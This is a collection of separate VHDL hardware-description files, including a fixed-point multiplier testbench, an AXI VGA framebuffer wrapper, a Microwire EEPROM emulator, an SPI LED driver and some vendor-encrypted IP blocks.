signal p : std_ulogic_vector(31 downto 0);
begin
dut : entity work.multiplier(behavioral)
port map (a, b, p);
stimulus : process is
begin
a <= X"8000"; b <= X"8000"; -- -1 * -1
wait for 50 ns;
a <= X"0001"; b <= X"0001"; -- 2**-15 * 2**-15
wait for 50 ns;
a <= X"0001"; b <= X"0000"; -- 2**-15 * 0
wait for 50 ns;
a <= X"0000"; b <= X"0001"; -- 0 * 2**-15
wait for 50 ns;
a <= X"0001"; b <= X"8000"; -- 2**-15 * -1
wait for 50 ns;
a <= X"8000"; b <= X"0001"; -- -1 * 2**-15
wait for 50 ns;
a <= X"4000"; b <= X"4000"; -- 0.5 * 0.5
wait for 50 ns;
a <= X"C000"; b <= X"4000"; -- -0.5 * 0.5
wait for 50 ns;
a <= X"4000"; b <= X"C000"; -- 0.5 * -0.5
wait for 50 ns;
a <= X"C000"; b <= X"C000"; -- -0.5 * -0.5
wait for 50 ns;
wait;
end process stimulus;
end architecture bench;
|
-- Copyright (C) 1996 Morgan Kaufmann Publishers, Inc
-- This file is part of VESTs (Vhdl tESTs).
-- VESTs is free software; you can redistribute it and/or modify it
-- under the terms of the GNU General Public License as published by the
-- Free Software Foundation; either version 2 of the License, or (at
-- your option) any later version.
-- VESTs is distributed in the hope that it will be useful, but WITHOUT
-- ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-- FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
-- for more details.
-- You should have received a copy of the GNU General Public License
-- along with VESTs; if not, write to the Free Software Foundation,
-- Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
-- ---------------------------------------------------------------------
--
-- $Id: ch_06_multt-b.vhd,v 1.2 2001-10-26 16:29:34 paw Exp $
-- $Revision: 1.2 $
--
-- ---------------------------------------------------------------------
library ieee; use ieee.std_logic_1164.all;
architecture bench of multiplier_test is
signal a, b : std_ulogic_vector(15 downto 0) := (others => '0');
signal p : std_ulogic_vector(31 downto 0);
begin
dut : entity work.multiplier(behavioral)
port map (a, b, p);
stimulus : process is
begin
a <= X"8000"; b <= X"8000"; -- -1 * -1
wait for 50 ns;
a <= X"0001"; b <= X"0001"; -- 2**-15 * 2**-15
wait for 50 ns;
a <= X"0001"; b <= X"0000"; -- 2**-15 * 0
wait for 50 ns;
a <= X"0000"; b <= X"0001"; -- 0 * 2**-15
wait for 50 ns;
a <= X"0001"; b <= X"8000"; -- 2**-15 * -1
wait for 50 ns;
a <= X"8000"; b <= X"0001"; -- -1 * 2**-15
wait for 50 ns;
a <= X"4000"; b <= X"4000"; -- 0.5 * 0.5
wait for 50 ns;
a <= X"C000"; b <= X"4000"; -- -0.5 * 0.5
wait for 50 ns;
a <= X"4000"; b <= X"C000"; -- 0.5 * -0.5
wait for 50 ns;
a <= X"C000"; b <= X"C000"; -- -0.5 * -0.5
wait for 50 ns;
wait;
end process stimulus;
end architecture bench;
|
library ieee;
use ieee.std_logic_1164.all;
use ieee.numeric_std.all;
entity axi_vga_framebuffer_v1_0 is
generic (
-- Users to add parameters here
-- User parameters ends
-- Do not modify the parameters beyond this line
-- Parameters of Axi Slave Bus Interface S_AXI
C_S_AXI_DATA_WIDTH : integer := 32;
C_S_AXI_ADDR_WIDTH : integer := 11
);
port (
-- Users to add ports here
clk : in std_logic;
active : in std_logic;
x_addr_w : in std_logic_vector(9 downto 0);
y_addr_w : in std_logic_vector(9 downto 0);
x_addr_r : in std_logic_vector(9 downto 0);
y_addr_r : in std_logic_vector(9 downto 0);
data_w : in std_logic_vector(23 downto 0);
data_r : out std_logic_vector(23 downto 0);
-- User ports ends
-- Do not modify the ports beyond this line
-- Ports of Axi Slave Bus Interface S_AXI
s_axi_aclk : in std_logic;
s_axi_aresetn : in std_logic;
s_axi_awaddr : in std_logic_vector(C_S_AXI_ADDR_WIDTH-1 downto 0);
s_axi_awprot : in std_logic_vector(2 downto 0);
s_axi_awvalid : in std_logic;
s_axi_awready : out std_logic;
s_axi_wdata : in std_logic_vector(C_S_AXI_DATA_WIDTH-1 downto 0);
s_axi_wstrb : in std_logic_vector((C_S_AXI_DATA_WIDTH/8)-1 downto 0);
s_axi_wvalid : in std_logic;
s_axi_wready : out std_logic;
s_axi_bresp : out std_logic_vector(1 downto 0);
s_axi_bvalid : out std_logic;
s_axi_bready : in std_logic;
s_axi_araddr : in std_logic_vector(C_S_AXI_ADDR_WIDTH-1 downto 0);
s_axi_arprot : in std_logic_vector(2 downto 0);
s_axi_arvalid : in std_logic;
s_axi_arready : out std_logic;
s_axi_rdata : out std_logic_vector(C_S_AXI_DATA_WIDTH-1 downto 0);
s_axi_rresp : out std_logic_vector(1 downto 0);
s_axi_rvalid : out std_logic;
s_axi_rready : in std_logic
);
end axi_vga_framebuffer_v1_0;
architecture arch_imp of axi_vga_framebuffer_v1_0 is
-- component declaration
component axi_vga_framebuffer_v1_0_S_AXI is
generic (
C_S_AXI_DATA_WIDTH : integer := 32;
C_S_AXI_ADDR_WIDTH : integer := 11
);
port (
-- user ports
clk : in std_logic;
active : in std_logic;
x_addr_w : in std_logic_vector(9 downto 0);
y_addr_w : in std_logic_vector(9 downto 0);
x_addr_r : in std_logic_vector(9 downto 0);
y_addr_r : in std_logic_vector(9 downto 0);
data_w : in std_logic_vector(23 downto 0);
data_r : out std_logic_vector(23 downto 0);
--
S_AXI_ACLK : in std_logic;
S_AXI_ARESETN : in std_logic;
S_AXI_AWADDR : in std_logic_vector(C_S_AXI_ADDR_WIDTH-1 downto 0);
S_AXI_AWPROT : in std_logic_vector(2 downto 0);
S_AXI_AWVALID : in std_logic;
S_AXI_AWREADY : out std_logic;
S_AXI_WDATA : in std_logic_vector(C_S_AXI_DATA_WIDTH-1 downto 0);
S_AXI_WSTRB : in std_logic_vector((C_S_AXI_DATA_WIDTH/8)-1 downto 0);
S_AXI_WVALID : in std_logic;
S_AXI_WREADY : out std_logic;
S_AXI_BRESP : out std_logic_vector(1 downto 0);
S_AXI_BVALID : out std_logic;
S_AXI_BREADY : in std_logic;
S_AXI_ARADDR : in std_logic_vector(C_S_AXI_ADDR_WIDTH-1 downto 0);
S_AXI_ARPROT : in std_logic_vector(2 downto 0);
S_AXI_ARVALID : in std_logic;
S_AXI_ARREADY : out std_logic;
S_AXI_RDATA : out std_logic_vector(C_S_AXI_DATA_WIDTH-1 downto 0);
S_AXI_RRESP : out std_logic_vector(1 downto 0);
S_AXI_RVALID : out std_logic;
S_AXI_RREADY : in std_logic
);
end component axi_vga_framebuffer_v1_0_S_AXI;
begin
-- Instantiation of Axi Bus Interface S_AXI
axi_vga_framebuffer_v1_0_S_AXI_inst : axi_vga_framebuffer_v1_0_S_AXI
generic map (
C_S_AXI_DATA_WIDTH => C_S_AXI_DATA_WIDTH,
C_S_AXI_ADDR_WIDTH => C_S_AXI_ADDR_WIDTH
)
port map (
clk => clk,
active => active,
x_addr_w => x_addr_w,
y_addr_w => y_addr_w,
x_addr_r => x_addr_r,
y_addr_r => y_addr_r,
data_w => data_w,
data_r => data_r,
S_AXI_ACLK => s_axi_aclk,
S_AXI_ARESETN => s_axi_aresetn,
S_AXI_AWADDR => s_axi_awaddr,
S_AXI_AWPROT => s_axi_awprot,
S_AXI_AWVALID => s_axi_awvalid,
S_AXI_AWREADY => s_axi_awready,
S_AXI_WDATA => s_axi_wdata,
S_AXI_WSTRB => s_axi_wstrb,
S_AXI_WVALID => s_axi_wvalid,
S_AXI_WREADY => s_axi_wready,
S_AXI_BRESP => s_axi_bresp,
S_AXI_BVALID => s_axi_bvalid,
S_AXI_BREADY => s_axi_bready,
S_AXI_ARADDR => s_axi_araddr,
S_AXI_ARPROT => s_axi_arprot,
S_AXI_ARVALID => s_axi_arvalid,
S_AXI_ARREADY => s_axi_arready,
S_AXI_RDATA => s_axi_rdata,
S_AXI_RRESP => s_axi_rresp,
S_AXI_RVALID => s_axi_rvalid,
S_AXI_RREADY => s_axi_rready
);
-- Add user logic here
-- User logic ends
end arch_imp;
|
--------------------------------------------------------------------------------
-- Entity: microwire_eeprom
-- Date:2018-08-13
-- Author: gideon
--
-- Description: Emulation of ST M93C86 Microwire EEPROM.
-- The I/O interface enables the software to read/write directly to
-- the 2K embedded memory. The range is 4K. The lower 2K give access
-- to the "dirty" bit register. The upper 2K is memory.
-- This emulation supports multiple write, continuous read as well
-- as single and full erase operations. It does support the status
-- output, however, the output is not gated with the select input.
-- When used as a standalone, data_out shall be tristated when SEL
-- is 0.
--------------------------------------------------------------------------------
library ieee;
use ieee.std_logic_1164.all;
use ieee.numeric_std.all;
use work.io_bus_pkg.all;
entity microwire_eeprom is
port (
clock : in std_logic;
reset : in std_logic;
io_req : in t_io_req;
io_resp : out t_io_resp;
-- microwire bus
sel_in : in std_logic;
clk_in : in std_logic;
data_in : in std_logic;
data_out : out std_logic );
end entity;
architecture arch of microwire_eeprom is
type t_state is (idle, selected, instruction, decode, collect_data, wait_deselect, execute, write2, error, fill, reading );
signal state : t_state;
signal sel_c : std_logic;
signal sel_d : std_logic;
signal dat_c : std_logic;
signal dat_d : std_logic;
signal clk_c : std_logic;
signal clk_d : std_logic;
signal clk_d2 : std_logic;
signal mem_io_rdata : std_logic_vector(7 downto 0);
signal mem_io_en : std_logic;
signal mem_io_en_d : std_logic;
signal mem_rdata : std_logic_vector(7 downto 0);
signal mem_wdata : std_logic_vector(7 downto 0);
signal mem_en : std_logic;
signal mem_en_d : std_logic := '0';
signal mem_we : std_logic;
signal mem_address : unsigned(10 downto 0);
signal count : integer range 0 to 15;
signal write_enable : std_logic;
signal instr : std_logic_vector(11 downto 0);
signal data_word : std_logic_vector(15 downto 0);
signal dirty : std_logic;
begin
mem_io_en <= io_req.address(11) and (io_req.read or io_req.write);
i_mem: entity work.dpram
generic map (
g_width_bits => 8,
g_depth_bits => 11
)
port map(
a_clock => clock,
a_address => io_req.address(10 downto 0),
a_rdata => mem_io_rdata,
a_wdata => io_req.data,
a_en => mem_io_en,
a_we => io_req.write,
b_clock => clock,
b_address => mem_address,
b_rdata => mem_rdata,
b_wdata => mem_wdata,
b_en => mem_en,
b_we => mem_we
);
process(clock)
begin
if rising_edge(clock) then
io_resp <= c_io_resp_init;
mem_io_en_d <= mem_io_en;
if mem_io_en_d = '1' then
io_resp.ack <= '1';
io_resp.data <= mem_io_rdata;
elsif io_req.read = '1' and io_req.address(11) = '0' then -- registers
io_resp.data(0) <= dirty;
io_resp.ack <= '1';
elsif io_req.write = '1' and io_req.address(11) = '0' then -- registers
dirty <= '0';
io_resp.ack <= '1';
end if;
if mem_we = '1' then
dirty <= '1';
end if;
sel_c <= sel_in;
sel_d <= sel_c;
dat_c <= data_in;
dat_d <= dat_c;
clk_c <= clk_in;
clk_d <= clk_c;
clk_d2 <= clk_d;
mem_en <= '0';
mem_we <= '0';
mem_en_d <= mem_en;
case state is
when idle =>
count <= 11;
data_out <= '1'; -- ready
data_word <= (others => '1');
if sel_d = '1' then
state <= selected;
end if;
when selected =>
if sel_d = '0' then
state <= idle;
elsif clk_d = '1' and clk_d2 = '0' then -- rising edge
if dat_d = '1' then
state <= instruction;
else
state <= error;
end if;
end if;
when instruction =>
if sel_d = '0' then
state <= idle;
elsif clk_d = '1' and clk_d2 = '0' then -- rising edge
instr <= instr(instr'high-1 downto 0) & dat_d;
if count = 0 then
state <= decode;
else
count <= count - 1;
end if;
end if;
when decode =>
count <= 15;
if instr(11 downto 10) = "01" then -- WRITE
state <= collect_data;
elsif instr(11 downto 8) = "0001" then -- WRALL
state <= collect_data;
elsif instr(11 downto 10) = "10" then -- READ
mem_address <= unsigned(instr(9 downto 0)) & '0';
mem_en <= '1';
state <= reading;
else
state <= wait_deselect;
end if;
when collect_data =>
if sel_d = '0' then
state <= idle;
elsif clk_d = '1' and clk_d2 = '0' then -- rising edge
data_word <= data_word(14 downto 0) & dat_d;
if count = 0 then
state <= wait_deselect;
else
count <= count - 1;
end if;
end if;
when wait_deselect =>
if clk_d = '1' and clk_d2 = '0' then -- rising edge
state <= error;
elsif sel_d = '0' then
state <= execute;
end if;
when execute =>
data_out <= '0';
if instr(10) = '1' then -- WRITE or ERASE single
mem_address <= unsigned(instr(9 downto 0)) & '0';
mem_wdata <= data_word(15 downto 8);
mem_en <= '1';
mem_we <= write_enable;
state <= write2;
elsif instr(11 downto 8) = "0011" then -- WREN
write_enable <= '1';
state <= idle;
elsif instr(11 downto 8) = "0000" then -- WRDIS
write_enable <= '0';
state <= idle;
elsif instr(11 downto 8) = "0010" then -- ERAL
mem_address <= (others => '0');
state <= fill;
elsif instr(11 downto 8) = "0001" then -- WRALL
mem_address <= (others => '0');
state <= fill;
else
state <= idle;
end if;
when error =>
if sel_d = '0' then
state <= idle;
end if;
when fill =>
mem_en <= '1';
mem_we <= write_enable;
if mem_address(0) = '1' then
mem_wdata <= data_word(7 downto 0);
else
mem_wdata <= data_word(15 downto 8);
end if;
if signed(mem_address) = -1 then
state <= idle;
else
mem_address <= mem_address + 1;
end if;
when write2 =>
mem_en <= '1';
mem_we <= write_enable;
mem_wdata <= data_word(7 downto 0);
mem_address(0) <= '1';
state <= idle;
when reading =>
if mem_en_d = '1' then
data_word(7 downto 0) <= mem_rdata;
count <= 7;
end if;
if sel_d = '0' then
state <= idle;
elsif clk_d = '1' and clk_d2 = '0' then -- rising edge
data_out <= data_word(count);
if count = 0 then
mem_address <= mem_address + 1;
mem_en <= '1';
else
count <= count - 1;
end if;
end if;
when others =>
null;
end case;
if reset = '1' then
state <= idle;
write_enable <= '0';
count <= 0;
dirty <= '0';
mem_address <= (others => '0');
end if;
end if;
end process;
end architecture;
|
-------------------------------------------------------------------------------
-- Title : ALU log_nor
-- Project : Source files in two directories, custom library name, VHDL'87
-------------------------------------------------------------------------------
-- File : ALU_Log_Nor.vhd
-- Author : Robert Jarzmik <[email protected]>
-- Company :
-- Created : 2016-12-06
-- Last update: 2016-12-06
-- Platform :
-- Standard : VHDL'93/02
-------------------------------------------------------------------------------
-- Description:
-------------------------------------------------------------------------------
-- Copyright (c) 2016
-------------------------------------------------------------------------------
-- Revisions :
-- Date Version Author Description
-- 2016-12-06 1.0 rj Created
-------------------------------------------------------------------------------
library ieee;
use ieee.std_logic_1164.all;
use ieee.numeric_std.all;
-------------------------------------------------------------------------------
entity ALU_Log_Nor is
generic (
DATA_WIDTH : integer
);
port (
i_ra : in unsigned(DATA_WIDTH - 1 downto 0);
i_rb : in unsigned(DATA_WIDTH - 1 downto 0);
o_q : out unsigned(DATA_WIDTH * 2 - 1 downto 0)
);
end entity ALU_Log_Nor;
-------------------------------------------------------------------------------
architecture rtl of ALU_Log_Nor is
-----------------------------------------------------------------------------
-- Internal signal declarations
-----------------------------------------------------------------------------
signal result : unsigned(DATA_WIDTH - 1 downto 0);
constant upper : unsigned(DATA_WIDTH - 1 downto 0) := (others => '0');
begin -- architecture rtl
o_q <= upper & result;
result <= i_ra nor i_rb;
end architecture rtl;
-------------------------------------------------------------------------------
|
----------------------------------------------------------------------------------
--this is an parallel to serial converter
--takes command_in and serilize it for the LED driver
--
----------------------------------------------------------------------------------
library IEEE;
use IEEE.STD_LOGIC_1164.ALL;
use ieee.numeric_std.all;
entity SPI_LEDdriver is
port (
clk_spi : in std_logic;
reset : in std_logic;
write_start : in std_logic;
command_in : in std_logic_vector(15 downto 0);
led_clk_o : out std_logic;
led_data_o : out std_logic;
led_latch_o : out std_logic
);
end SPI_LEDdriver;
architecture Behavioral of SPI_LEDdriver is
signal led_clk, led_latch : std_logic;
signal led_clk_next, led_latch_next : std_logic;
signal led_data, led_data_next : std_logic_vector(15 downto 0);
type spi_states is (IDLE, OP_lo, OP_hi, LATCHRDY); --state machine definition
signal spi_sm, spi_sm_next : spi_states;
signal sm_cnt, sm_cnt_next : unsigned(3 downto 0);
signal cycle_cnt, cycle_cnt_next : unsigned(3 downto 0);
begin
--ouput mapping
led_clk_o <= led_clk;
led_data_o <= led_data(15);
led_latch_o <= led_latch;
--SPI state machine
SPI_proc: process(clk_spi, reset)
begin
if (reset = '1') then
led_clk <= '0';
led_data <= (others=>'0');
led_latch <= '0';
spi_sm <= IDLE;
sm_cnt <= (others=>'0');
cycle_cnt <= (others=>'0');
elsif (falling_edge(clk_spi)) then --next state logic
led_clk <= led_clk_next;
led_data <= led_data_next;
led_latch <= led_latch_next;
spi_sm <= spi_sm_next;
sm_cnt <= sm_cnt_next;
cycle_cnt <= cycle_cnt_next;
end if;
end process;
--next state logic for the state machines
SPI_proc_next: process(spi_sm, sm_cnt, write_start, command_in, led_data, led_clk, cycle_cnt)
begin
case spi_sm is
when IDLE =>
if write_start = '1' then
if cycle_cnt <= 10 then
led_data_next <= command_in; --"1011011101111001" for testing.
spi_sm_next <= OP_lo;
else
led_data_next <= command_in; --"1011011101111001" for testing.
spi_sm_next <= IDLE;
end if;
else
led_data_next <= led_data;
spi_sm_next <= IDLE;
end if;
sm_cnt_next <= (others=>'0'); --state counter
led_clk_next <= '0';
led_latch_next <= '0';
cycle_cnt_next <= cycle_cnt;
when OP_lo =>
led_data_next <= led_data;
spi_sm_next <= OP_hi;
led_clk_next <= not led_clk; --toggle sclk
sm_cnt_next <= sm_cnt;
led_latch_next <= '0';
cycle_cnt_next <= cycle_cnt;
when OP_hi =>
if sm_cnt>=15 then --state counter triggers at 15
spi_sm_next <= LATCHRDY;
sm_cnt_next <= sm_cnt;
led_latch_next <= '0';
else
spi_sm_next <= OP_lo;
sm_cnt_next <= sm_cnt + 1; --sm counter increment
led_latch_next <= '0';
end if;
led_data_next(15 downto 1) <= led_data(14 downto 0); --shift the command out
led_data_next(0) <= '0'; --pad '0';
led_clk_next <= not led_clk; --toggle sclk
cycle_cnt_next <= cycle_cnt;
when LATCHRDY =>
led_data_next <= led_data;
spi_sm_next <= IDLE;
led_clk_next <= '0'; --toggle sclk
sm_cnt_next <= sm_cnt;
led_latch_next <= '1';
cycle_cnt_next <= cycle_cnt + 1;
end case;
end process;
end Behavioral;
|
----------------------------------------------------------------------------------
-- Company:
-- Engineer:
--
-- Create Date: 16:21:57 01/15/2015
-- Design Name:
-- Module Name: componant_2_tb - Behavioral
-- Project Name:
-- Target Devices:
-- Tool versions:
-- Description:
--
-- Dependencies:
--
-- Revision:
-- Revision 0.01 - File Created
-- Additional Comments:
--
----------------------------------------------------------------------------------
library IEEE;
use IEEE.STD_LOGIC_1164.ALL;
-- Uncomment the following library declaration if using
-- arithmetic functions with Signed or Unsigned values
--use IEEE.NUMERIC_STD.ALL;
-- Uncomment the following library declaration if instantiating
-- any Xilinx primitives in this code.
--library UNISIM;
--use UNISIM.VComponents.all;
entity componant_2_tb is
end componant_2_tb;
architecture Behavioral of componant_2_tb is
signal entree1, entree2, entree3, sortie1, sortie2 : std_logic;
component componant_2
port (a1,b1,rin : in std_logic;
s1,rout : out std_logic);
end component;
begin
uut: componant_2 port map (a1 => entree1, b1 => entree2, rin => entree3, rout => sortie1, s1 => sortie2);
stimuli:process
begin
entree1<='0';
entree2<='0';
entree3<='0';
wait for 30 ns;
entree1<='1';
wait for 30 ns;
entree1<='0';
entree2<='1';
wait for 30 ns;
entree1<='1';
entree2<='1';
wait for 30 ns;
entree1<='0';
entree2<='0';
entree3<='1';
wait for 30 ns;
entree1<='1';
entree3<='1';
wait for 30 ns;
entree1<='0';
entree2<='1';
entree3<='1';
wait for 30 ns;
entree1<='1';
wait for 30 ns;
end process;
end Behavioral;
|
----------------------------------------------------------------------------------
-- Company:
-- Engineer:
--
-- Create Date: 16:21:57 01/15/2015
-- Design Name:
-- Module Name: componant_2_tb - Behavioral
-- Project Name:
-- Target Devices:
-- Tool versions:
-- Description:
--
-- Dependencies:
--
-- Revision:
-- Revision 0.01 - File Created
-- Additional Comments:
--
----------------------------------------------------------------------------------
library IEEE;
use IEEE.STD_LOGIC_1164.ALL;
-- Uncomment the following library declaration if using
-- arithmetic functions with Signed or Unsigned values
--use IEEE.NUMERIC_STD.ALL;
-- Uncomment the following library declaration if instantiating
-- any Xilinx primitives in this code.
--library UNISIM;
--use UNISIM.VComponents.all;
entity componant_2_tb is
end componant_2_tb;
architecture Behavioral of componant_2_tb is
signal entree1, entree2, entree3, sortie1, sortie2 : std_logic;
component componant_2
port (a1,b1,rin : in std_logic;
s1,rout : out std_logic);
end component;
begin
uut: componant_2 port map (a1 => entree1, b1 => entree2, rin => entree3, rout => sortie1, s1 => sortie2);
stimuli:process
begin
entree1<='0';
entree2<='0';
entree3<='0';
wait for 30 ns;
entree1<='1';
wait for 30 ns;
entree1<='0';
entree2<='1';
wait for 30 ns;
entree1<='1';
entree2<='1';
wait for 30 ns;
entree1<='0';
entree2<='0';
entree3<='1';
wait for 30 ns;
entree1<='1';
entree3<='1';
wait for 30 ns;
entree1<='0';
entree2<='1';
entree3<='1';
wait for 30 ns;
entree1<='1';
wait for 30 ns;
end process;
end Behavioral;
|
entity FIFO is
end ENTITY fifo;
entity FIFO is
end ENTITY FIFO;
entity FIFO is
end ENTITY FIFO;
|
library ieee;
use ieee.std_logic_1164.all;
entity TbdFIR is
port(
-- Clock
Clock_50 : in std_logic;
-- KEYs
KEY : in std_logic_vector(0 downto 0);
-- Audio
AUD_ADCDAT : in std_logic;
AUD_ADCLRCK : in std_logic;
AUD_BCLK : in std_logic;
AUD_DACDAT : out std_logic;
AUD_DACLRCK : in std_logic;
AUD_XCK : out std_logic;
-- I2C for Audio and Video-In
FPGA_I2C_SCLK : out std_logic;
FPGA_I2C_SDAT : inout std_logic
);
end entity TbdFIR;
|
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`protect end_protected
|
`protect begin_protected
`protect version = 1
`protect encrypt_agent = "XILINX"
`protect encrypt_agent_info = "Xilinx Encryption Tool 2013"
`protect key_keyowner = "Cadence Design Systems.", key_keyname= "cds_rsa_key", key_method = "rsa"
`protect encoding = (enctype = "BASE64", line_length = 76, bytes = 64)
`protect key_block
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`protect encoding = (enctype = "BASE64", line_length = 76, bytes = 128)
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`protect key_keyowner = "Xilinx", key_keyname= "xilinx_2013_09", key_method = "rsa"
`protect encoding = (enctype = "BASE64", line_length = 76, bytes = 256)
`protect key_block
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`protect key_keyowner = "Synopsys", key_keyname= "SNPS-VCS-RSA-1", key_method = "rsa"
`protect encoding = (enctype = "BASE64", line_length = 76, bytes = 128)
`protect key_block
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`protect key_keyowner = "Aldec", key_keyname= "ALDEC08_001", key_method = "rsa"
`protect encoding = (enctype = "BASE64", line_length = 76, bytes = 256)
`protect key_block
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`protect encoding = (enctype = "BASE64", line_length = 76, bytes = 16672)
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`protect end_protected
|
`protect begin_protected
`protect version = 1
`protect encrypt_agent = "XILINX"
`protect encrypt_agent_info = "Xilinx Encryption Tool 2013"
`protect key_keyowner = "Cadence Design Systems.", key_keyname= "cds_rsa_key", key_method = "rsa"
`protect encoding = (enctype = "BASE64", line_length = 76, bytes = 64)
`protect key_block
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`protect encoding = (enctype = "BASE64", line_length = 76, bytes = 128)
`protect key_block
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`protect encoding = (enctype = "BASE64", line_length = 76, bytes = 256)
`protect key_block
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`protect encoding = (enctype = "BASE64", line_length = 76, bytes = 128)
`protect key_block
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`protect key_keyowner = "Aldec", key_keyname= "ALDEC08_001", key_method = "rsa"
`protect encoding = (enctype = "BASE64", line_length = 76, bytes = 256)
`protect key_block
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`protect data_method = "AES128-CBC"
`protect encoding = (enctype = "BASE64", line_length = 76, bytes = 16672)
`protect data_block
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M63oCbA6kvy1np5funmwklW/UoQGLyU9+jCENq1Y8pcAGtAUQ945gySe8QG16tcux8WrUnqF3/0G
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rZdlGaKVh7ppnareY5+Dj1J83PsYSDj6xZA7dk7x/YqI8Zxd7EVr8znsv+uzQEPgLZPTY7K+5dcI
eXMd50zuhcyqs49vn+kyeOJnmT+BonP4oJjddm4ERHvfgfKctGKIyqz1KeqdecEpkHnXqkg1smgE
CwmfJkMrc75yOisJslyox+NAWZyX5N/f0pxFIR9h7bZ2GlUy6Orme4hapz1dqK7KdoWda/CeoRvq
ttS85lIoq2Y7FQOzBVzghJnOud30oUaQ1dgi7xDMPETHNGvhcWsk7LmaLRRGufoNa4NHWVjGeMMr
lYxFUwXjjF5aK01ls2eGy0i68EjFNkt8Agoti/TI9gmpH44bHXb1TdInVO7ZuaiHyU/PKX8+wONt
yBNN/JFSsj0DtGvHKy2N/xq3cJmO2Qb9N1VnE6KboyDdcUIIo2XrVlfI3FMCOh1l00TxtwoW6aTm
08NaenNvtN/WUzttt3SLh/Jo00f1mI8NrTXLwQ==
`protect end_protected
|
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